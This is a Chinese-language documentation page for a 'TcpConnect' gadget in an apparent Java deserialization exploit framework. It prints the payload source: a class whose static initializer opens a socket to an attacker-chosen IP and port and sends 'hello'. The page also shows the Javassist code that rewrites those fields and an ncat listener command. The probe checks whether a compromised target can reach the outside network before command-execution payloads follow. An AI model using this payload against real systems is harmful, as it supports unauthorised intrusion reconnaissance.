Skip to content

Latest commit

 

History

History
78 lines (65 loc) · 3.8 KB

File metadata and controls

78 lines (65 loc) · 3.8 KB

发起Tcp请求(TcpConnect)

  • 类别:bytecode 别名:— 优先级:30
  • 作者:Ar3h
  • 依赖:无(仅用 JDK 标准库 java.net.Socket

作用

生成一段探测型字节码:被目标加载执行后,向攻击者指定的 ip:port 发起一次 TCP 连接并发送 hello。用于判断目标是否能出网(TCP 层),是命令执行前的连通性验证手段(配合 ncat -lvp 9999 监听)。

链接标签

  • 入口 tagsBytecodeEND —— Bytecode 表示产出原始类字节码,需上游字节码 sink 装载触发;END 表示终端产物。
  • 衔接 nextTags:无(终端 sink)。
  • excludes:无。

源码剖析

gadget 本体:改写模板的 ip/port 静态字段后返回字节码:

@Param(name="ip")
public String ip = "127.0.0.1";
@Param(name="tcp port", type=ParamType.Integer)
public int port = 9999;

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(TcpConnectBytecode.class);
    javassistHelper.modifyStringField("ip", this.ip);      // 重写模板静态字段 ip
    javassistHelper.modifyIntField("port", this.port);     // 重写模板静态字段 port
    return javassistHelper.getBytecode();
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);
    return this.getObject();
}

JavassistHelper 把模板类中的 public static String ippublic static int port 改成用户配置值,再导出字节码。载荷逻辑在模板类的静态代码块:

public static String ip;
public static int port;

public TcpConnectBytecode() {
    try {
        Socket socket = new Socket(ip, port);          // 向 ip:port 建立 TCP 连接
        OutputStream outputStream = socket.getOutputStream();
        PrintWriter writer = new PrintWriter(outputStream, true);
        writer.println("hello");                       // 发送探测数据
        writer.close();
        socket.close();
    } catch (Exception exception) { }
}

static {
    new TcpConnectBytecode();     // 类被加载即触发
}

关键点:

  • 触发时机static { new TcpConnectBytecode(); },类被定义/初始化即执行,无需调用任何方法。
  • 探测语义:一次 new Socket(ip, port) 若成功建连即证明目标可经 TCP 出网到攻击者主机;攻击者用 ncat -lvp 9999(或任意 TCP 监听)观察是否收到连接与 hello。相比 DNSLog(仅证明 DNS 出网)或 HTTP 探测,本探测直接验证任意端口的原生 TCP 可达性。
  • 无外部依赖:只用 java.net.Socket,对目标环境几乎无版本/库要求,因此 priority=30(较高优先级的通用探测件)。

参数(@Param)

字段 名称 说明 默认 可选值
ip ip 回连目标 IP(攻击者监听主机) 127.0.0.1 任意 IP/主机名
port tcp port 回连目标 TCP 端口(ParamType.Integer 9999 任意端口整数

适用版本与原理要点

  • 与 JDK 版本、第三方库基本无关,仅需目标能加载并初始化本字节码类。
  • 纯连通性探测,不做命令执行/回显;确认出网后再切换到 Exec 等执行型 sink。
  • 目标出站防火墙若限制到指定 IP/端口,则探测失败——可据此判断出网策略。

所属预设链

自由构件,未直接出现在 51 条预设链中。用法为放在字节码装载链尾([..., BytecodeConvert, TcpConnect])替换默认 sink 做出网探测。

关联

  • 上游(承接 Bytecode):BytecodeConvertTemplatesImpl 系列装载器。
  • 同族探测/执行终端:Sleep(时延探测)、DNSLog 系列(DNS 出网探测)、Exec(命令执行)。